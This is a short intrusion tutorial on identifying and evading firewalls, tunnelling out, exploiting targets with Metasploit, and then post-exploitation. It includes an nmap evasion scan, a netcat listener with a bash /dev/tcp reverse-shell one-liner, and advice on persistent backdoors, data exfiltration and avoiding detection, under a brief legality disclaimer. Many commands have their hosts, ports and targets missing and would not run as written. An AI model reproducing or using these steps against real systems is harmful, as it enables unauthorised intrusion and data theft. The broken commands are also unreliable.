Firewall Bypass & Exploitation Guide

TL;DR

This guide outlines techniques to identify firewall rules, bypass them using port scanning and tunnelling, and then exploit a target system. Warning: Performing these actions without explicit permission is illegal and unethical. This information is for educational purposes only.

1. Reconnaissance & Firewall Identification

1. Gather Information: Start with basic OSINT (Open Source Intelligence). Find the target’s IP address, domain name, network ranges, and any publicly available information about their infrastructure. Tools like whois and DNS lookups are useful.

   whois example.com

2. Port Scanning (Initial): Use a port scanner like Nmap to identify open ports. This gives you an initial understanding of services running on the target.

   nmap -sV -T4 

   • -sV: Version detection
   • -T4: Aggressive timing (faster scan)
3. Firewall Rule Evasion: Firewalls often block common ports. Look for less common or custom ports.
   • Fragmented Packets: Some firewalls struggle with fragmented packets. Nmap can send fragmented packets using the -f flag.

     nmap -sV -T4 -f 

   • Idle Scan: Use an idle scan to mask your IP address and appear as legitimate traffic. This is more complex and requires a suitable zombie host.

     nmap -sI  

2. Firewall Bypass Techniques

1. Port Forwarding & Tunnelling: If direct access is blocked, try tunnelling through a permitted port.
   • SSH Tunneling: Create an SSH tunnel to forward traffic through a compromised host or your own machine.

     ssh -L :: @

   • Reverse Shell: Establish a reverse shell connection back to your attacking machine. This is useful when the target cannot initiate outbound connections directly.

     nc -l -p 4444 <- listen on attacker machine

     bash -i >& /dev/tcp//4444 <- execute on target (requires a bash shell)

2. HTTP/HTTPS Proxies: Use HTTP or HTTPS proxies to bypass basic web application firewalls.

   curl -x : https://example.com

3. DNS Tunneling: Encode data within DNS queries and responses. This is a slower but often effective method to bypass strict firewalls.
   • Tools like iodine can assist with DNS tunnelling.

3. Exploitation

1. Vulnerability Scanning: Once you have a connection, perform a vulnerability scan using tools like Nessus or OpenVAS to identify potential weaknesses.

   nessuscli scan 

2. Exploit Selection & Execution: Based on the vulnerability scan results, choose an appropriate exploit. Metasploit is a powerful framework for exploiting vulnerabilities.
   • Metasploit Example: Search for exploits related to a specific service version.

     msfconsole

     search  

     use 

     set RHOST 

     run

3. Post-Exploitation: After gaining access, perform post-exploitation activities such as privilege escalation and data exfiltration.
   • Gather system information.
   • Create persistent backdoors (use with extreme caution).
   • Exfiltrate sensitive data securely.

4. Important Considerations

• Logging & Detection: Be aware that your actions will likely be logged. Use techniques to avoid detection, but understand there’s no guarantee of success.
• Ethical Hacking: Always obtain explicit permission before performing any penetration testing or security assessments.
• Legal Consequences: Unauthorized access to computer systems is illegal and can result in severe penalties.